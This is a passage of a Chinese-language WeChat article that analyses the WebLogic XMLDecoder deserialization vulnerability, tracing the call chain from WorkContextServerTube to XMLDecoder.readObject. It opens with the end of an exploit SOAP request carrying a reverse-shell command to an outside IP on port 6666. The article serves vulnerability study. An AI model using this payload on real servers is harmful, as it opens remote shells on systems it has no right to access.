class="code-snippet__keyword">string</span>&gt;-c&lt;/<span class="code-snippet__keyword">string</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;/<span class="code-snippet__keyword">void</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">void</span> index=<span class="code-snippet__string">&#34;2&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">string</span>&gt;/bin/sh -i &gt; /dev/tcp/<span class="code-snippet__number">107.173</span><span class="code-snippet__number">.81</span><span class="code-snippet__number">.94</span>/<span class="code-snippet__number">6666</span> <span class="code-snippet__number">2</span>&lt;&amp;<span class="code-snippet__number">1</span> <span class="code-snippet__number">0</span>&lt;&amp;<span class="code-snippet__number">1</span>&lt;/<span class="code-snippet__keyword">string</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;/<span class="code-snippet__keyword">void</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;/array&gt;</span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">void</span> method=<span class="code-snippet__string">&#34;start&#34;</span>/&gt;&lt;/<span class="code-snippet__keyword">void</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;/java&gt;</span></code><code><span class="code-snippet_outer">&lt;/work:WorkContext&gt;</span></code><code><span class="code-snippet_outer">&lt;/soapenv:Header&gt;</span></code><code><span class="code-snippet_outer">&lt;soapenv:Body/&gt;</span></code><code><span class="code-snippet_outer">&lt;/soapenv:Envelope&gt;</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="330" data-backw="562" data-ratio="0.586490939044481" style="width: 100%;height: auto;" data-type="png" data-w="607" src="https://wechat2rss.xlab.app/img-proxy/?k=a7999bbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicffrWZDHvOdpvO6ML9mb6icJcZVhvV2ibLwB0rKpCQQibxEO9bz9DF02kA%2F640%3Fwx_fmt%3Dpng"/><br/></p><h3 style="box-sizing: border-box;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-bottom: 0.1em;padding-left: 8px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">漏洞分析</h3><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">使用burp发包，查看返回包，查看调用链</p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="172" data-backw="562" data-ratio="0.30569948186528495" style="width: 100%;height: auto;" data-type="png" data-w="1158" src="https://wechat2rss.xlab.app/img-proxy/?k=4f91a718&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEiczrP5ZicKKoFEpVHtZhtxfzWNJMSNKF2icj2ibYpv6ffRXhic4nc6AicKVjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>断点打到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:37</code></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="237" data-backw="562" data-ratio="0.4215436810856658" style="width: 100%;height: auto;" data-type="png" data-w="1179" src="https://wechat2rss.xlab.app/img-proxy/?k=b2921f29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicCCnuvVZk6p2Xn3OWDX4y9uiad835ktttBplot0bnqYsD2EqmNHe0rZw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>使用burp发包，进入断点，看到var1的值为传入的恶意数据，var2为message中的header，var3为获取<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">WorkAreaConstants.WORK_AREA_HEADER=<a href="http://bea.com/2004/06/soap/workarea/" target="_blank">http://bea.com/2004/06/soap/workarea/</a></code></span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><img data-backh="222" data-backw="548" data-ratio="0.4051383399209486" style="width: 100%;height: auto;" data-type="png" data-w="1518" src="https://wechat2rss.xlab.app/img-proxy/?k=8f132fbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicCia5sqxYaxn8KbpehSEAOtPwRxwTKWnpIEA3tmwUnUZaAqmicfFsOMDQ%2F640%3Fwx_fmt%3Dpng"/></code></span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><img data-backh="215" data-backw="548" data-ratio="0.39308578745198464" style="width: 100%;height: auto;" data-type="png" data-w="781" src="https://wechat2rss.xlab.app/img-proxy/?k=bbd987ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicxyaeB4aSwyFpPACYH6myOmnJia48JYrUq33yLvKbKsgX1Snp9ldnWGQ%2F640%3Fwx_fmt%3Dpng"/></code></span></p><figure style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"></figure><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;text-align: start;white-space: normal;"><img data-backh="196" data-backw="578" data-ratio="0.33947772657450076" style="width: 100%;height: auto;" data-type="png" data-w="651" src="https://wechat2rss.xlab.app/img-proxy/?k=28e4840d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEiccoJ04lygX8tic3Y0MYicyYlkPStSJvMoWHzSd5iamTaQibBicicDahbba6Uw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>var3不等于空，进入<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">readHeaderOld</code> 方法</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer"><span class="code-snippet__section">weblogic/wsee/jaxws/workcontext/WorkContextTube.class:102</span></span></code><code><span class="code-snippet_outer">var2.nextTag();  跳转到worktag</span></code><code><span class="code-snippet_outer">var2.nextTag();  跳转到javatag</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="194" data-backw="562" data-ratio="0.344903988183161" style="width: 100%;height: auto;" data-type="png" data-w="1354" src="https://wechat2rss.xlab.app/img-proxy/?k=3a301092&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicicAXXtWjpxspUGpsnJgTPtPqdzaZTCfUaY2knHRuoKiaWIqpfDrJibB1g%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">通过<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XMLStreamWriterFactory.create</code>函数获取恶意的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">Payload</code>到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">var4</code>中，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">var4</code>的字节数组输入流传入<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">WorkContextXmlInputAdapter</code>的构造函数。</p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">weblogic/wsee/workarea/WorkContextXmlInputAdapter.class:19</code></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">WorkContextXmlInputAdapter</span>(<span class="code-snippet__params">InputStream var1</span>)</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.xmlDecoder = <span class="code-snippet__keyword">new</span> XMLDecoder(var1);</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">将恶意的xml作为参数传入了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XMLDecoder</code>的构造函数，然后返回一个<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">WorkContextXmlInputAdapter</code>实例对象到上层的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">var6</code>，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">var6</code>作为参数传入<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">receive</code>函数。<br/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:69</code></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="64" data-backw="562" data-ratio="0.11240632805995004" style="width: 100%;height: auto;" data-type="png" data-w="1201" src="https://wechat2rss.xlab.app/img-proxy/?k=b60834c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic41gMA78ynBf8hibXRRN5LrmbMp4dy0aAzYqtKAQW1DF4H9ic22SNADjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">-<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">WorkContextXmlInputAdapter</code>对象又被传入了<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">WorkContextMapImpl</code>类的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">receiveRequest</code>方法。</p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">weblogic/workarea/WorkContextMapImpl.class:142</code></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="50" data-backw="562" data-ratio="0.08835341365461848" style="width: 100%;height: auto;" data-type="png" data-w="1245" src="https://wechat2rss.xlab.app/img-proxy/?k=1de194a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEiciar5LHPy2gicP6MAwlOqIvzAGe2fJiajFU7iaI5Ac1yaEicOyjibZUekGTOA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">weblogic/workarea/WorkContextLocalMap.class:162</code></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">又被传到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">receiveRequest</code>方法中</p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">workarea/spi/WorkContextEntryImpl.class:72</code></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">又被传到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">readEntry</code>方法中</p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="96" data-backw="562" data-ratio="0.17186183656276327" style="width: 100%;height: auto;" data-type="png" data-w="1187" src="https://wechat2rss.xlab.app/img-proxy/?k=89e93f69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicsjpsuu9SPmYaaH0qrKmRSkAzQS5Q6icPoT4QRlKrdd9lVtuiauRqzR8A%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"> <span class="code-snippet__built_in">String</span> var1 = var0.readUTF();</span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">weblogic/wsee/workarea/WorkContextXmlInputAdapter.class:104</code></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> readUTF() throws IOException {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> (<span class="code-snippet__built_in">String</span>)<span class="code-snippet__keyword">this</span>.xmlDecoder.readObject();</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">触发<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">this.xmlDecoder.readObject();</code> 反序列化，完成代码执行<br/></p><p style="box-sizing: border-box;margin: 0.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><em style="box-sizing: border-box;"></em></p><h3 style="box-sizing: border-box;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-bottom: 0.1em;padding-left: 8px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">References</h3><p style="box-sizing: border-box;margin: 0.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><code style="box-sizing: border-box;opacity: 0.6;">[1]</code> Weblogic XMLDecoder 漏洞触发链分析: <em style="box-sizing: border-box;"><a href="https://zhuanlan.zhihu.com/p/112870627" target="_blank">https://zhuanlan.zhihu.com/p/112870627</a></em><br style="box-sizing: border-box;"/><code style="box-sizing: border-box;opacity: 0.6;">[2]</code> Java安全初遇-XMLDecoder与Weblogic齐活儿: <em style="box-sizing: border-box;"><a href="https://xz.aliyun.com/t/8039" target="_blank">https://xz.aliyun.com/t/8039</a></em></p><p style="box-sizing: border-box;margin: 0.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><em style="box-sizing: border-box;"><br/></em><br/></p><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" 